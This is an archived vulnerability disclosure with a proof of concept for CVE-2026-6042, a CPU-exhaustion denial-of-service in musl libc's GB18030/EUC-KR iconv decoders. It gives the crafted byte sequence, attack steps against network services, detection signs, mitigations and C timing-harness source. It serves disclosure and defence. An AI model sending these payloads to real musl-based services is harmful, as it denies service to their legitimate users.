PoC Archive PoC Archive
High CVE-2026-6042 unpatched

Algorithmic Complexity DoS in musl libc `iconv` GB18030 Decoder — CVE-2026-6042

by jensnesten · 2026-07-05

CVSS 7.5/10
Severity
High
CVE
CVE-2026-6042
Category
network
Affected product
musl libc — iconv implementation (GB18030 and EUC-KR decoders)
Affected versions
Confirmed on musl 1.2.5 (Alpine 3.21) and musl 1.2.6 (built from source); likely all musl versions since GB18030/UHC/CP949 support was introduced
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-04
Author / Researcherjensnesten
CVE / AdvisoryCVE-2026-6042
Categorynetwork
SeverityHigh
CVSS Score7.5 (CVSS 3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H, per source repository)
StatusPoC
Tagsmusl, libc, iconv, denial-of-service, algorithmic-complexity, gb18030, alpine-linux
RelatedN/A

Affected Target

FieldValue
Software / Systemmusl libc — iconv implementation (GB18030 and EUC-KR decoders)
Versions AffectedConfirmed on musl 1.2.5 (Alpine 3.21) and musl 1.2.6 (built from source); likely all musl versions since GB18030/UHC/CP949 support was introduced
Language / PlatformC (musl libc internals); PoC harness in C, containerized with Alpine Linux/Docker
Authentication RequiredNo
Network Access RequiredYes — any network-facing musl-based service that transcodes untrusted GB18030/EUC-KR input via iconv() is exploitable remotely. The source repo explicitly disputes advisory metadata that labels the attack vector as local, noting it is “obviously network, not local.”

Summary

musl libc’s GB18030 4-byte decoder (src/locale/iconv.c) contains a gap-skipping loop that, for each decoded character, iterates the entire 23,940-entry gb18030[126][190] lookup table to resolve a linear index to a Unicode codepoint. A crafted 4-byte sequence (82 35 8F 33) lands just below the dense CJK Unified Ideographs block, forcing the loop to “chase” through roughly 20,902 dense entries, each scanning the full table — approximately 500 million comparisons per decoded character. Because cost scales linearly with the number of adversarial characters, a few hundred bytes of crafted input can pin a CPU core for tens of minutes. The PoC includes both a standalone timing harness and a minimal HTTP server that transcodes POST bodies through iconv(), demonstrating the vulnerability is reachable over the network on any Alpine/musl-based service that processes user-supplied non-UTF-8 text.


Vulnerability Details

Root Cause

The GB18030 4-byte decoder in musl (iconv.c, roughly lines 434-442) converts a 4-byte input sequence into a linear index, then walks a “gap-skipping” loop to map that index onto a real Unicode codepoint by subtracting out mapped 2-byte sequences it passes along the way. For codepoints that land just below the dense CJK Unified Ideographs range (U+4E00–U+9FBD, ~20,902 entries), the loop must step through the entire dense region one entry at a time, and for every step it re-scans the entire gb18030[126][190] table (23,940 entries) to determine which entries fall within the current sliding range. This produces roughly O(k^2) work (k ≈ 24,000) per decoded character, and O(n * k^2) for n adversarial characters. The same gap-skipping pattern exists in the EUC-KR extended Hangul decoder (iconv.c:514-522) against the smaller ksc[93][94] table (8,742 entries).

Attack Vector

  1. Attacker identifies (or assumes) a network-facing service running on a musl-based system (Alpine Linux, Void Linux, postmarketOS, minimal containers) that calls iconv() to transcode untrusted input declared as GB18030 or EUC-KR.
  2. Attacker crafts a payload of repeated 4-byte sequences such as 82 35 8F 33, each of which decodes to a linear index (19,171) just below the dense CJK block.
  3. Attacker sends the payload to the service (e.g., as an HTTP POST body with Content-Type: text/plain; charset=gb18030).
  4. The service’s call to iconv() for each adversarial character burns ~0.26 seconds of CPU time (measured on Alpine 3.21 / musl 1.2.5); as few as 5 characters (20 bytes) takes over a second, 100 characters (400 bytes) takes ~26 seconds, and 10,000 characters (40 KB) can pin a core for ~43 minutes.
  5. Repeating the request (optionally across multiple connections/threads) exhausts available worker threads/processes or CPU capacity, denying service to legitimate users.

Impact

Any musl-based system running a service that transcodes GB18030 or EUC-KR from user-supplied input via iconv() is vulnerable to a low-bandwidth, high-amplification denial-of-service. A single crafted request of a few hundred bytes can consume minutes of CPU time on a single core, and because the payload is tiny, the attack is easy to replicate across many connections/threads to exhaust an entire host or container fleet. This is particularly relevant to Alpine Linux-based container images, which are extremely common as lightweight bases for web services, APIs, and microservices.


Environment / Lab Setup

Target:   Alpine Linux (musl 1.2.5 or 1.2.6) container running a service that calls iconv() on
          user-controlled input declared as GB18030 or EUC-KR (simulated here by server.c, a
          minimal HTTP server exposed via Docker on port 8080)
Attacker: Any HTTP client (curl) capable of sending a POST request with a custom Content-Type
          charset parameter and a crafted binary body; Docker to build/run the vulnerable target

Proof of Concept

PoC Script

See poc_gb18030_dos.c (standalone iconv() timing PoC) and server.c (HTTP server attack-surface simulation) in this folder.

1
2
3
4
5
6
gcc -O2 -o poc_gb18030_dos poc_gb18030_dos.c
./poc_gb18030_dos

docker build -t cve-2026-6042 .
docker run --rm -p 8080:8080 cve-2026-6042
./test.sh   # from the host, in a separate terminal

poc_gb18030_dos.c times iconv() conversion of benign vs. adversarial GB18030 byte sequences and reports the slowdown factor and projected times for larger inputs. server.c builds a minimal HTTP server (packaged via the included Dockerfile) that transcodes POST bodies through iconv() and reports elapsed transcode time in an X-Transcode-Time response header; test.sh automates sending benign and adversarial payloads to that server and comparing response times.


Detection & Indicators of Compromise

Example: HTTP response header showing an anomalously long transcode time
X-Transcode-Time: 5.234871

Server-side log line (as emitted by the included PoC server):
[request] charset=gb18030 bodylen=20 ... done in 5.234s (status 200)

Signs of compromise:

  • A single small request (tens to low hundreds of bytes) causes disproportionate CPU usage or response latency on a musl/Alpine-based service.
  • Elevated CPU utilization on worker processes/threads correlated with requests declaring charset=gb18030 or charset=euc-kr (or equivalent) with no corresponding increase in request volume or payload size.
  • Thread/worker pool exhaustion or request timeouts under low request-rate conditions.

Remediation

ActionDetail
Primary fixNo vendor patch confirmed as of 2026-07-05. Reported to the musl project via the oss-security mailing list (2026-04-09); track upstream musl releases for a fix to the GB18030/EUC-KR gap-skipping decoder logic.
Interim mitigationAvoid calling iconv() on untrusted, attacker-controlled input for GB18030/EUC-KR without strict size/rate limits; enforce per-request CPU/time budgets or timeouts around transcoding operations; consider using glibc-based images instead of musl-based images for services that must transcode these charsets from untrusted sources; apply WAF/reverse-proxy rules to cap body size and reject anomalous non-UTF-8 charset declarations where not functionally required.

References


Notes

Mirrored from https://github.com/jensnesten/CVE-2026-6042-PoC on 2026-07-05.

poc_gb18030_dos.c
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
/*
 * poc_gb18030_dos.c - PoC: Algorithmic complexity DoS in musl iconv
 *                     GB18030 and EUC-KR 4-byte / extended Hangul decoders
 *
 * The GB18030 4-byte decoder (iconv.c:434-442) contains a gap-skipping loop
 * that, for each decoded character, iterates the entire gb18030[126][190]
 * table (23,940 entries) to count how many 2-byte-mapped codepoints fall
 * within a sliding range. For inputs whose linear index lands just below
 * the dense CJK Unified Ideographs block (U+4E00-U+9FBD, ~20,902 entries),
 * the loop runs ~20,000+ iterations, each scanning all 23,940 entries.
 *
 * Result: ~500 million comparisons PER INPUT CHARACTER.
 * A small crafted input (e.g., 400 bytes = 100 characters) causes
 * ~50 billion comparisons, taking minutes to hours of CPU time.
 *
 * The same pattern exists in the EUC-KR extended Hangul decoder
 * (iconv.c:514-522) with ksc[93][94] (8,742 entries).
 *
 * To test on Alpine Linux (musl-based):
 *   docker run --rm -v $(pwd):/work -w /work alpine:latest \
 *     sh -c "apk add gcc musl-dev && gcc -O2 -o dos dos.c && ./dos"
 *
 * Compile: cc -O2 -o poc_gb18030_dos poc_gb18030_dos.c
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <iconv.h>
#include <errno.h>
#include <time.h>
#include <stdint.h>

static double now(void)
{
    struct timespec ts;
    clock_gettime(CLOCK_MONOTONIC, &ts);
    return ts.tv_sec + ts.tv_nsec * 1e-9;
}

/*
 * Time how long it takes to iconv() a buffer of `nchars` copies of
 * the given 4-byte sequence from GB18030 to UTF-8.
 * Returns elapsed wall-clock seconds, or -1 on iconv_open failure.
 */
static double time_gb18030_decode(const uint8_t seq[4], int nchars,
                                  const char *label)
{
    iconv_t cd = iconv_open("UTF-8", "GB18030");
    if (cd == (iconv_t)-1) {
        printf("  iconv_open failed: %s\n", strerror(errno));
        return -1.0;
    }

    size_t inlen = 4 * nchars;
    size_t outlen = 8 * nchars;  /* UTF-8 worst case: 4 bytes per char, generous */
    char *inbuf = malloc(inlen);
    char *outbuf = malloc(outlen);
    if (!inbuf || !outbuf) {
        perror("malloc");
        exit(1);
    }

    /* Fill input with copies of the sequence */
    for (int i = 0; i < nchars; i++)
        memcpy(inbuf + i * 4, seq, 4);

    char *inp = inbuf;
    size_t inleft = inlen;
    char *outp = outbuf;
    size_t outleft = outlen;

    printf("  [%s] %d chars (%zu bytes input)... ", label, nchars, inlen);
    fflush(stdout);

    double t0 = now();
    size_t ret = iconv(cd, &inp, &inleft, &outp, &outleft);
    double elapsed = now() - t0;

    size_t consumed = inlen - inleft;
    size_t produced = outlen - outleft;

    if (ret == (size_t)-1) {
        printf("error after %zu/%zu bytes (%.3fs): %s\n",
               consumed, inlen, elapsed, strerror(errno));
    } else {
        printf("ok, %zu bytes out, %.3fs (%.1f us/char)\n",
               produced, elapsed, elapsed / nchars * 1e6);
    }

    free(inbuf);
    free(outbuf);
    iconv_close(cd);
    return elapsed;
}

int main(void)
{
    printf("=============================================================\n");
    printf("musl iconv GB18030 algorithmic complexity DoS PoC\n");
    printf("=============================================================\n\n");

    /*
     * BENIGN input: 81 30 81 30
     * Linear index = (0*10+0)*1260 + (0*10+0) + 128 = 128
     * This is a low codepoint, the gap-skip loop terminates quickly.
     */
    uint8_t benign[] = { 0x81, 0x30, 0x81, 0x30 };

    /*
     * ADVERSARIAL input: 82 35 8F 33
     * Linear index = (1*10+5)*1260 + (14*10+3) + 128 = 19171
     * This lands just below the dense CJK block (U+4E00 = 19968).
     * The gap-skip loop must "chase" through ~20,902 dense entries,
     * running ~20,905 iterations each scanning 23,940 table entries.
     */
    uint8_t adversarial[] = { 0x82, 0x35, 0x8F, 0x33 };

    /*
     * Another adversarial input right at the CJK boundary
     */
    uint8_t adversarial2[] = { 0x82, 0x35, 0x90, 0x30 };

    printf("--- Benign input (fast path) ---\n");
    double t_benign_1 = time_gb18030_decode(benign, 1, "benign x1");
    double t_benign_10 = time_gb18030_decode(benign, 10, "benign x10");
    double t_benign_100 = time_gb18030_decode(benign, 100, "benign x100");

    printf("\n--- Adversarial input (triggers dense CJK loop) ---\n");
    printf("    WARNING: 1 char may take several seconds!\n");
    double t_adv_1 = time_gb18030_decode(adversarial, 1, "adversarial x1");

    /* Only continue if the first one wasn't too slow */
    double t_adv_5 = -1;
    if (t_adv_1 < 30.0 && t_adv_1 > 0) {
        t_adv_5 = time_gb18030_decode(adversarial, 5, "adversarial x5");
    } else if (t_adv_1 > 0) {
        printf("  (skipping larger tests, single char took %.1fs)\n", t_adv_1);
    }

    printf("\n--- Adversarial input #2 ---\n");
    double t_adv2_1 = time_gb18030_decode(adversarial2, 1, "adversarial2 x1");

    printf("\n=============================================================\n");
    printf("Results:\n");
    printf("  Benign (100 chars):      %.6f s\n", t_benign_100);
    if (t_adv_1 > 0) {
        printf("  Adversarial (1 char):    %.6f s\n", t_adv_1);
        if (t_benign_1 > 0 && t_benign_1 > 1e-9) {
            printf("  Slowdown factor:         %.0fx per character\n",
                   t_adv_1 / t_benign_1);
        }
        if (t_adv_1 > 0.01) {
            printf("  Projected 100 chars:     %.1f seconds\n", t_adv_1 * 100);
            printf("  Projected 1000 chars:    %.1f seconds (%.1f minutes)\n",
                   t_adv_1 * 1000, t_adv_1 * 1000 / 60);
            printf("  Projected 10000 chars:   %.1f minutes\n",
                   t_adv_1 * 10000 / 60);
        }
    }

    printf("  Compare: 40KB of benign GB18030 decodes in microseconds.\n");
    printf("=============================================================\n");

    return 0;
}